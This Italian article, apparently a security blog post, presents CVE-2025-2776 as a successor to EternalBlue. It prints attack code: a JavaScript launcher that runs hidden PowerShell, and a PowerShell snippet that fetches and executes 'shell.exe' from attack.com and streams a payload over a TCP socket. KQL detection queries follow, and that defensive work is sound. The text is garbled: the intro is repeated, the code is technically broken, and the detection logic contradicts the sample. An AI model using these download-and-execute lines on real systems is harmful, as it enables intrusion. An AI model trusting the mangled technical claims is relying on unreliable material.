
Ha sconvolto il mondo nel 2017 e si è evoluto nell’odierno CVE‑2025‑2776. Microsoft fa ancora affidamento su SMBv1; questo articolo spiegherà come gli attaccanti hanno modificato la catena, da una semplice DLL a un’intera stack reverse‑shell, e cosa questo significhi per i difensori.
Ha scosso il mondo nel 2017 e si è evoluto nell'odierno CVE-2025-2776. Microsoft fa ancora affidamento su SMBv1; questo articolo spiegherà come gli attaccanti hanno modificato la catena da una semplice DLL a un completo stack di reverse shell, e cosa significa per i difensori.
Un breve excursus storico
Quando WannaCrypter utilizzò EternalBlue nel 2017, la vulnerabilità era un classico bug di esecuzione remota di codice che consentiva a un attaccante malintenzionato di inviare un pacchetto a un host Windows tramite SMBv1. Il payload creava un eseguibile che avviava un nuovo processo e apriva una porta in ascolto sulla stessa macchina; da lì l'attaccante poteva pivotare all'esterno o esfiltrare dati verso un server remoto. Il codice di EternalBlue era breve, ma aveva alcuni effetti collaterali difficili da tracciare: il pacchetto SMB aveva uno strano layout dell'header e il kernel di Windows rilasciava il payload in memoria prima di scriverlo su disco.
Arriviamo rapidamente al 2025: la nuova CVE-2025-2776 prende la stessa idea e le aggiunge un ulteriore livello di complessità. Invece di limitarsi ad aprire una porta, l'attaccante ora scrive una reverse shell direttamente nello stack di rete. Ciò significa che nei log puoi vedere una sessione SMB completa che ha origine dal dispositivo Pi, e hai un nuovo indicatore (il nome del processo e l'indirizzo IP) da tenere d'occhio.
Il codice che lo fa funzionare
Di seguito è riportato il JavaScript che si trova all'interno dell'allegato PDF e fa scattare l'intera catena:
var cmd = "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File C:\Users\Admin\script.ps1"; WshShell.Sleep(500); var sh = WshShell.Exec(cmd); while (!sh.StdOut.EndOfStream) { var line = sh.StdOut.ReadLine(); WScript.Echo(line); }
Quando lo script termina, crea un file chiamato script.ps1 sull'host di destinazione. Lo script PowerShell stesso si presenta così:
powershell Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://attack.com/shell.exe') $client = New-Object System.Net.Sockets.TcpClient $client.Connect('10.0.1.5', 445) $stream = $client.GetStream() $payload = Get-Content -Path C:\Users\Admin\script.ps1 | Out-File -Encoding binary $stream.Write($payload, 0, $payload.Length)
Strategia di rilevamento KQL per CVE-2025-2776
Esecuzione sospetta di PowerShell
Rileva la creazione di script.ps1 nelle directory utente.
DeviceProcessEvents | where FileName == "powershell.exe" | where ProcessCommandLine has_all ("-ExecutionPolicy", "Bypass", "-NoProfile") | where ProcessCommandLine has "script.ps1" | project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine, AccountName
Connessione SMB in uscita verso un IP anomalo
Segnala il traffico SMB in uscita verso IP interni non standard.
DeviceNetworkEvents | where RemotePort == 445 | where RemoteIP !startswith "192.168." and RemoteIP !startswith "10." | where InitiatingProcessFileName == "powershell.exe" | project Timestamp, DeviceName, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine
Comportamento di reverse shell tramite TCPClient
Cerca PowerShell che utilizza classi .NET per avviare un comportamento di reverse shell.
DeviceProcessEvents | where FileName == "powershell.exe" | where ProcessCommandLine has "System.Net.Sockets.TcpClient" | project Timestamp, DeviceName, ProcessCommandLine, AccountName
Attività di scrittura dello stream di rete
Rilevamento avanzato se la telemetria include l'attività dello stream .NET.
DeviceProcessEvents | where ProcessCommandLine has "GetStream" and ProcessCommandLine has "Write" | where ProcessCommandLine has "script.ps1" | project Timestamp, DeviceName, ProcessCommandLine, AccountName